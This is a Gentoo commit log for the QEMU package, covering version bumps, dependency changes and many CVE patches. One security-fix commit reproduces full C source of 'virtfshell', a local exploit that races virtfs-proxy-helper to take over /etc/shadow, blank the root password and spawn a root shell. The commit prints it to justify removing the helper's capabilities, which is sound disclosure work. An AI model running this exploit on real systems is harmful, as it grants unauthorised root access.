This commit addresses several bugs in the current dependency handling. - Almost all dependencies that were exclusively listed in SOFTMMU_LIBS_DEPEND are needed for qemu user targets as well. This is evidenced by trying to compile qemu with USE="* -static -static-softmmu -static-user" QEMU_USER_TARGETS="*" QEMU_SOFTMMU_TARGETS="" in a minimal stage-3 environment. The only remaining dependencies (exclusive for softmmu system targets) are - always build qemu-tools - restructure dependencies, bug #611084 Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: apply binfmt changes to 2.8.0-r4
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: Update readme in 9999 to reflect latest changes
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: Dynamically create binfmt.d/qemu.conf
This file is stored in /usr/share/qemu/binfmt.d/qemu.conf and can be symlinked to /etc/binfmt.d Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: update live ebuild
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: remove vulnerable 2.8.0-r1, bug #609206
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #609206
Package-Manager: portage-2.3.3 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #609206
Package-Manager: portage-2.3.3 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: drop old
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: security fixes, notably CVE-2017-2620, bug #609206
This commit applies a number of patches fixing CVE-2017-2620 #609206 CVE-2017-2630 #609396 CVE-2017-5973 #609334 CVE-2017-5987 #609398 CVE-2017-6058 #609638 Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: remove vulnerable, bug #608728
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #608728
Package-Manager: portage-2.3.3 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #608728
Package-Manager: portage-2.3.3 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: further live ebuild fixes
- call forgotten generate_initd in src_install - qmp-commands.txt is no longer installed Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: update live-ebuild
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: require sys-libs/ncurses[unicode], bug #607486
Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: fix permissions on vhost-net, bug #593196
Add an additional udev rule that grants access to /dev/vhost-net to the kvm user. Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: fix various security issues, bug #608728 and others
This commit applies upstream patches to 2.8.0 for the following CVEs CVE-2016-10155 #606720 CVE-2017-2615 #608034 CVE-2017-5525 #606264 CVE-2017-5552 #606722 CVE-2017-5578 #607000 CVE-2017-5579 #607100 CVE-2017-5667 #607766 CVE-2017-5856 #608036 CVE-2017-5857 #608038 CVE-2017-5898 #608520 CVE-2017-5931 #608728 Package-Manager: Portage-2.3.3, Repoman-2.3.1
Matthias Maier · gentoo
app-emulation/qemu: drop old versions 2.7.0, 2.7.1
Package-Manager: Portage-2.3.3, Repoman-2.3.1
T. Malfatti · gentoo
media-libs/portaudio: Version bump
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #601824
Package-Manager: portage-2.3.0 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #601824
Package-Manager: portage-2.3.0 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Mike Frysinger · gentoo
app-emulation/qemu: generate init.d script from upstream settings
Mike Frysinger · gentoo
app-emulation/qemu: drop mesa[gles2] requirement #606590
Since upstream no longer requires gles2, drop it from the ebuild too.
Mike Frysinger · gentoo
app-emulation/qemu: drop USE=uuid in newer versions #606506
Qemu always builds in their own uuid generation logic now and never looks at the external libuuid, so they've dropped the configure flag to match.
Mike Frysinger · gentoo
app-emulation/qemu: version bump to 2.8.0
Mike Frysinger · gentoo
app-emulation/qemu: version bump to 2.7.1
Update the 7422 patch to match the version upstream merged. Update the 8669-1 patch to include upstream references since it is still not merged/fixed.
Mike Frysinger · gentoo
app-emulation/qemu: drop unicore32 from user targets for now
Upstream has disabled this user target until it can be updated. Since that doesn't look like it'll happen soon, also drop it from the ebuild.
Mike Frysinger · gentoo
app-emulation/qemu: sync readme #575326 and gbm updates #590230
Mike Frysinger · gentoo
app-emulation/qemu: drop libpcre dep as qemu does not use it #591202
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable 2.7.0-r5, bug #598772
Package-Manager: portage-2.3.0
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #598772
Package-Manager: portage-2.3.0 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #598772
Package-Manager: portage-2.3.0 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: update build dependency to vte:2.91, bug #595890
Package-Manager: portage-2.3.0
Matthias Maier · gentoo
app-emulation/qemu: update build dependency to vte:2.91, bug #595890
Package-Manager: portage-2.3.0
Matthias Maier · gentoo
app-emulation/qemu: security fixes, bug #598772
CVE-2016-9102, bug #598328 CVE-2016-9103, bug #598328 CVE-2016-9104, bug #598328 CVE-2016-9105, bug #598328 CVE-2016-9106, bug #598772 Package-Manager: portage-2.3.0
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable 2.7.0-r4, bug #598046
Package-Manager: portage-2.3.0
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #598046
Package-Manager: portage-2.3.0 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #598046
Package-Manager: portage-2.3.0 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: multiple security fixes for 2.7.0-r5
CVE-2016-7466, bug 594520 CVE-2016-7907, bug 596048 CVE-2016-7908, bug 596049 CVE-2016-7909, bug 596048 CVE-2016-7994, bug 596738 CVE-2016-7994, bug 596738 CVE-2016-8576, bug 596752 CVE-2016-8577, bug 596776 CVE-2016-8578, bug 596774 CVE-2016-8668, bug 597110 CVE-2016-8669, bug 597108 CVE-2016-8669, bug 597108 CVE-2016-8909, bug 598044 CVE-2016-8910, bug 598046 Package-Manager: portage-2.3.0
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable, bug #594368
Package-Manager: portage-2.3.0
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #594368
Package-Manager: portage-2.2.28 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #594368
Package-Manager: portage-2.2.28 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: security fixes, bug #594520, bug #594368
CVE-2016-7466.patch # bug 594520 CVE-2016-7423.patch # bug 594368 Package-Manager: portage-2.3.0
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable versions 2.7.0, 2.7.0-r2
Package-Manager: portage-2.2.28
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #593038
Package-Manager: portage-2.2.28 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #593038
Package-Manager: portage-2.2.28 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: security fixes, ebuild maintenance
bug 593956: CVE-2016-7422 bug 593950: CVE-2016-7421 bug 590230: missing use depend opengl? ( media-libs/mesa[...,gbm] ) bug 575326: update to readme.gentoo-r1 eclass Package-Manager: portage-2.2.28
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #593038
Package-Manager: portage-2.2.28 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: apply fix for CVE-2016-7170, bug #593284
Package-Manager: portage-2.2.28
Matthias Maier · gentoo
app-emulation/qemu: fix static-user dep, security patches, bug #593038
This commit resolves bug #591202 bug #593024 bug #593034 CVE-2016-7155 bug #593036 CVE-2016-7156 bug #593038 CVE-2016-7157 Package-Manager: portage-2.2.28
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable 2.5.1, bug #592430, and 19 others
Package-Manager: portage-2.2.28
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #592430
Package-Manager: portage-2.2.28 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #592430
Package-Manager: portage-2.2.28 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Matthias Maier · gentoo
app-emulation/qemu: fix installation with USE=python, bug #592908
Package-Manager: portage-2.2.28
Matthias Maier · gentoo
app-emulation/qemu: apply patch for CVE-2016-6836, bug #591242
Package-Manager: portage-2.2.28
Matthias Maier · gentoo
app-emulation/qemu: drop vulnerable 2.6.0
Package-Manager: portage-2.2.28
Matthias Maier · gentoo
app-emulation/qemu: version bump to 2.7.0, various security fixes
3af9187fc6caaf415ab9c0c6d92c9678f65cb17f -> CVE-2016-4001, bug #579734 3a15cc0e1ee7168db0782133d2607a6bfa422d66 -> CVE-2016-4002, bug #579734 c98c6c105f66f05aa0b7c1d2a4a3f716450907ef -> CVE-2016-4439, bug #583496 6c1fef6b59563cc415f21e03f81539ed4b33ad90 -> CVE-2016-4441, bug #583496 06630554ccbdd25780aa03c3548aaff1eb56dffd -> , bug #583952 844864fbae66935951529408831c2f22367a57b6 -> CVE-2016-5337, bug #584094 b60bdd1f1ee1616b7a9aeeffb4088e1ce2710fb2 -> , bug #584102 1b85898025c4cd95dce673d15e67e60e98e91731 -> , bug #584146 521360267876d3b6518b328051a2e56bca55bef8 -> CVE-2016-4453, bug #584514 4e68a0ee17dad7b8d870df0081d4ab2e079016c2 -> CVE-2016-4454, bug #584514 a6b3167fa0e825aebb5a7cd8b437b6d41584a196 -> CVE-2016-5126, bug #584630 ff589551c8e8e9e95e211b9d8daafb4ed39f1aec -> CVE-2016-5338, bug #584918 d3cdc49138c30be1d3c2f83d18f85d9fdee95f1a -> CVE-2016-5238, bug #584918 1e7aed70144b4673fc26e73062064b6724795e5f -> , bug #589924 afd9096eb1882f23929f5b5c177898ed231bac66 -> CVE-2016-5403, bug #589928 eb700029c7836798046191d62d595363d92c84d4 -> CVE-2016-6835, bug #591244 ead315e43ea0c2ca3491209c6c8db8ce3f2bbe05 -> CVE-2016-6834, bug #591374 6c352ca9b4ee3e1e286ea9e8434bd8e69ac7d0d8 -> CVE-2016-6833, bug #591380 47882fa4975bf0b58dd74474329fdd7154e8f04c -> CVE-2016-6888, bug #591678 805b5d98c649d26fc44d2d7755a97f18e62b438a 56f101ecce0eafd09e2daf1c4eeb1377d6959261 fff39a7ad09da07ef490de05c92c91f22f8002f2 -> , bug #592430 Package-Manager: portage-2.2.28
Matthias Maier · gentoo
app-emulation/qemu: remove vulnerable 2.5.0
Package-Manager: portage-2.2.28
Luca Barbato · gentoo
app-emulation/qemu: Drop a patch
It is already upstreamed. Package-Manager: portage-2.3.0
Luca Barbato · gentoo
app-emulation/qemu: Update the languages list
Package-Manager: portage-2.3.0
Luca Barbato · gentoo
app-emulation/qemu: Drop a -Werror when it could cause a false positive
The check code could trigger recent compiler warnings. Package-Manager: portage-2.2.26
Mike Frysinger · gentoo
app-emulation/qemu: handle bzip2 dep #589968
The block layer uses it to support bzip2 compression in dmg images. That code makes it into softmmu binaries and userland utils.
Alexey Shvetsov · gentoo
app-emulation/qemu: adapt sys-infiniband to sys-fabric rename
Package-Manager: portage-2.3.0_rc1
Mike Frysinger · gentoo
app-emulation/qemu: drop kvm_stat to match upstream #586158
Mike Frysinger · gentoo
app-emulation/qemu: fix static linking errors w/curl[ssl,curl_ssl_openssl]
Mike Frysinger · gentoo
app-emulation/qemu: depend on jpeg SLOT=0 for building
Mike Frysinger · gentoo
app-emulation/qemu: workaround breakage in xfs/linux headers #577810
Add upstream patch to workaround some combinations of xfsprogs & linux headers so we don't have to worry about stable breakage anymore. This fix is already in upstream & unstable versions.
Mike Frysinger · gentoo
app-emulation/qemu: version bump to 2.6.0 #583212
Mike Frysinger · gentoo
app-emulation/qemu: use subslots w/nettle & gnutls #582836
Mike Frysinger · gentoo
app-misc/qemu: version bump & bug fixes #579614 #580040 #580426
Mike Frysinger · gentoo
app-emulation/qemu: mention /dev/kvm perm updates in the readme/elog #580436
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #573816
Package-Manager: portage-2.2.26 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #573816
Package-Manager: portage-2.2.26 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Mike Frysinger · gentoo
app-emulation/qemu: add few more upstream fixes #573816 #578142
Mike Frysinger · gentoo
app-emulation/qemu: use l10n.eclass to respect LINGUAS #577814
Sergey Popov · gentoo
app-emulation/qemu: security cleanup
Gentoo-Bug: 576420 Package-Manager: portage-2.2.28
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #578044
Package-Manager: portage-2.2.26 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #578044
Package-Manager: portage-2.2.26 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Mike Frysinger · gentoo
app-emulation/qemu: backport various upstream fixes
Doug Goldstein · gentoo
app-emulation/qemu: fix arm depends for libseccomp
arm needs libseccomp 2.2.3 or newer for QEMU to be able to utilize it. Package-Manager: portage-2.2.26 Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
Matthew Thode · gentoo
app-emulation/qemu: keywording arm64
merged on X-C1 Package-Manager: portage-2.2.26
Doug Goldstein · gentoo
app-emulation/qemu: fix arm64 dependencies
arm/arm64 have some dependencies which are higher than other platforms. Unfortunately the dependencies are not stable on arm but this package is so arm updates will come later. Package-Manager: portage-2.2.26 Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
Doug Goldstein · gentoo
app-emulation/qemu: remove vulnerable versions
Package-Manager: portage-2.2.26 Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
Ian Delaney · gentoo
Merge remote-tracking branch 'remotes/jasom/master'
Pull request: https://github.com/gentoo/gentoo/pull/725
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #571566
Package-Manager: portage-2.2.26 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #571566
Package-Manager: portage-2.2.26 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Ian Delaney · gentoo
Merge remote-tracking branch 'remotes/Coacher/mpv-verbump-to-0.15.0'
Pull request: https://github.com/gentoo/gentoo/pull/675
Mike Frysinger · gentoo
app-emulation/qemu: add upstream fixes for #567868 #568246 #570110 #570988 #571566
Ian Delaney · gentoo
Merge remote-tracking branch 'remotes/Coacher/fwknop-cleanup'
Pull request: https://github.com/gentoo/gentoo/pull/501
Mike Frysinger · gentoo
app-emulation/qemu: disable libgcrypt usage #568856
Mike Frysinger · gentoo
app-emulation/qemu: drop versions <2.4.1-r2
Mike Frysinger · gentoo
app-emulation/qemu: version bump to 2.5.0
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #567828
Package-Manager: portage-2.2.24 RepoMan-Options: --include-arches="x86" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #567828
Package-Manager: portage-2.2.24 RepoMan-Options: --include-arches="amd64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
Mike Frysinger · gentoo
app-emulation/qemu: add upstream fixes for #567828 #568214
Mike Frysinger · gentoo
app-emulation/qemu: drop virtfs-proxy-helper fcaps from all versions #568226
Jason A. Donenfeld · gentoo
app-emulation/qemu: critical security fix
The virtfs-proxy-helper program is not a safe binary to give caps. The following exploit code demonstrates the vulnerability: ~=~=~=~= snip ~=~=~=~= /* == virtfshell == * * Some distributions make virtfs-proxy-helper from QEMU either SUID or * give it CAP_CHOWN fs capabilities. This is a terrible idea. While * virtfs-proxy-helper makes some sort of flimsy check to make sure * its socket path doesn't already exist, it is vulnerable to TOCTOU. * * This should spawn a root shell eventually on vulnerable systems. * * - zx2c4 * 2015-12-12 * * * zx2c4@thinkpad ~ $ lsb_release -i * Distributor ID: Gentoo * zx2c4@thinkpad ~ $ ./virtfshell * == Virtfshell - by zx2c4 == * [+] Beginning race loop * [+] Chown'd /etc/shadow, elevating to root * [+] Cleaning up * [+] Spawning root shell * thinkpad zx2c4 # whoami * root * */ #include <stdio.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/inotify.h> #include <unistd.h> #include <stdlib.h> #include <signal.h> static int it_worked(void) { struct stat sbuf = { 0 }; stat("/etc/shadow", &sbuf); return sbuf.st_uid == getuid() && sbuf.st_gid == getgid(); } int main(int argc, char **argv) { int fd; pid_t pid; char uid[12], gid[12]; sprintf(uid, "%d", getuid()); sprintf(gid, "%d", getgid()); printf("== Virtfshell - by zx2c4 ==\n"); printf("[+] Beginning race loop\n"); while (!it_worked()) { fd = inotify_init(); unlink("/tmp/virtfshell/sock"); mkdir("/tmp/virtfshell", 0777); inotify_add_watch(fd, "/tmp/virtfshell", IN_CREATE); pid = fork(); if (!pid) { close(0); close(1); close(2); execlp("virtfs-proxy-helper", "virtfs-proxy-helper", "-n", "-p", "/tmp", "-u", uid, "-g", gid, "-s", "/tmp/virtfshell/sock", NULL); _exit(1); } read(fd, 0, 0); unlink("/tmp/virtfshell/sock"); symlink("/etc/shadow", "/tmp/virtfshell/sock"); close(fd); kill(pid, SIGKILL); wait(NULL); } printf("[+] Chown'd /etc/shadow, elevating to root\n"); system( "cp /etc/shadow /tmp/original_shadow;" "sed 's/^root:.*/root::::::::/' /etc/shadow > /tmp/modified_shadow;" "cat /tmp/modified_shadow > /etc/shadow;" "su -c '" " echo [+] Cleaning up;" " cat /tmp/original_shadow > /etc/shadow;" " chown root:root /etc/shadow;" " rm /tmp/modified_shadow /tmp/original_shadow;" " echo [+] Spawning root shell;" " exec /bin/bash -i" "'"); return 0; }
Mike Frysinger · gentoo
app-emulation/qemu: switch to new libcacard release #561814
Mike Frysinger · gentoo
app-emulation/qemu: add USE=virgl for Virgil 3d GPU #566994
Mike Frysinger · gentoo
app-emulation/qemu: add upstream security fixes #566792 #567144
Doug Goldstein · gentoo
app-emulation/qemu: utilize xen-tools sub-slot
app-emulation/xen-tools now exposes a sub-slot to help dependencies rebuild when necessary. Signed-off-by: Doug Goldstein <cardoe@gentoo.org>
Mike Frysinger · gentoo
app-emulation/qemu: update cflags patch #565866
Mike Frysinger · gentoo
app-emulation/qemu: force C locale for sorting to workaround glibc bug #564936
Mike Frysinger · gentoo
app-emulation/qemu: version bump to 2.4.1 #564990
Mike Frysinger · gentoo
app-emulation/qemu: update qmp doc paths #564186
Markos Chandras · gentoo
app-emulation/qemu: Backport a few MIPS patches. Bug #563162
Package-Manager: portage-2.2.23
Mike Frysinger · gentoo
app-emulation/qemu: version bump to 2.4.0.1 #562594
This also includes security fixes for #560760 #560550 #560422.
Michal Privoznik · gentoo
app-emulation/qemu: update smartcard configure flag #561670
Mike Frysinger · gentoo
app-emulation/qemu: add tilegx linux-user target #561322
Mike Frysinger · gentoo
app-emulation/qemu: switch USE=tls to USE=gnutls #560574
Upstream no longer has dedicated configuration options for tls settings. Instead, it's all run through the gnutls feature test. We require newer versions of gnutls because supporting older ones gets a bit messy -- qemu might leverage libgcrypt or nettle depending on how the gnutls package was built. By forcing the latest version, we can simplify and only require nettle. This isn't a big deal as it's already stable.
Mike Frysinger · gentoo
app-emulation/qemu: require mesa[egl] too
Upstream commit 7ced9e9f6da2257224591b91727cfeee4f3977fb made the egl layer of mesa a requirement.
Agostino Sarubbo · gentoo
app-emulation/qemu: x86 stable wrt bug #558416
Package-Manager: portage-2.2.20.1 RepoMan-Options: --include-arches="x86"
Agostino Sarubbo · gentoo
app-emulation/qemu: amd64 stable wrt bug #558416
Package-Manager: portage-2.2.20.1 RepoMan-Options: --include-arches="amd64"
Mike Frysinger · gentoo
app-emulation/qemu: various fixes/updates
Sync in the updates from the 9999 ebuild: - updated seabios pin - add new targets - add sanity checks for targets Add fix from upstream for blockcommit crashes #558396. Add fix from upstream for CVE-2015-5225 #558416. Add fix posted upstream (but not yet merged) for e1000 infinite loop #559656.
Mike Frysinger · gentoo
app-emulation/qemu: add target sanity checks
This way we know up front when a new target appears rather than when someone happens to check & notice.
Mike Frysinger · gentoo
app-emulation/qemu: update seabios pin to version 1.8.2
Mike Frysinger · gentoo
app-emulation/qemu: add new targets
Manuel Rüger · gentoo
app-emulation/qemu: Remove vulnerable
Package-Manager: portage-2.2.20.1
Mike Frysinger · gentoo
sys-libs/ncurses: move to SLOT=0 #557472
Use SLOT=0 for installing of main development files like other packages so we can use other SLOTs for installing SONAME libs for binary packages.
Justin Lecher · gentoo
Use https by default
Convert all URLs for sites supporting encrypted connections from http to https Signed-off-by: Justin Lecher <jlec@gentoo.org>
Justin Lecher · gentoo
app-emulation/qemu: Use slot operators for ncurses
Package-Manager: portage-2.2.20.1 Signed-off-by: Justin Lecher <jlec@gentoo.org>
Mike Frysinger · gentoo
app-emulation/qemu: switch to virtual/libusb to quiet repoman
Now that the virtual requires the latest libusb, we can switch to that rather than depending directly on libusb's version.
Mike Frysinger · gentoo
app-emulation/qemu: move more deps to softmmu-only case
These packages are only used when building softmmu binaries, so don't try pulling them in when the user is building tools or user binaries.
Mike Frysinger · gentoo
app-emulation/qemu: depend on libepoxy for USE=opengl #557488
Mike Frysinger · gentoo
qemu: version bump to 2.4.0
Mike Frysinger · gentoo
qemu: version bump to 2.3.1
Mike Frysinger · gentoo
qemu: do not put directly into stable
Mike Frysinger · gentoo
qemu: fix from upstream for virtio-serial security issue #557206
Robin H. Johnson · gentoo
proj/gentoo: Initial commit
This commit represents a new era for Gentoo: Storing the gentoo-x86 tree in Git, as converted from CVS. This commit is the start of the NEW history. Any historical data is intended to be grafted onto this point. Creation process: 1. Take final CVS checkout snapshot 2. Remove ALL ChangeLog* files 3. Transform all Manifests to thin 4. Remove empty Manifests 5. Convert all stale $Header$/$Id$ CVS keywords to non-expanded Git $Id$ 5.1. Do not touch files with -kb/-ko keyword flags. Signed-off-by: Robin H. Johnson <robbat2@gentoo.org> X-Thanks: Alec Warner <antarus@gentoo.org> - did the GSoC 2006 migration tests X-Thanks: Robin H. Johnson <robbat2@gentoo.org> - infra guy, herding this project X-Thanks: Nguyen Thai Ngoc Duy <pclouds@gentoo.org> - Former Gentoo developer, wrote Git features for the migration X-Thanks: Brian Harring <ferringb@gentoo.org> - wrote much python to improve cvs2svn X-Thanks: Rich Freeman <rich0@gentoo.org> - validation scripts X-Thanks: Patrick Lauer <patrick@gentoo.org> - Gentoo dev, running new 2014 work in migration X-Thanks: Michał Górny <mgorny@gentoo.org> - scripts, QA, nagging X-Thanks: All of other Gentoo developers - many ideas and lots of paint on the bikeshed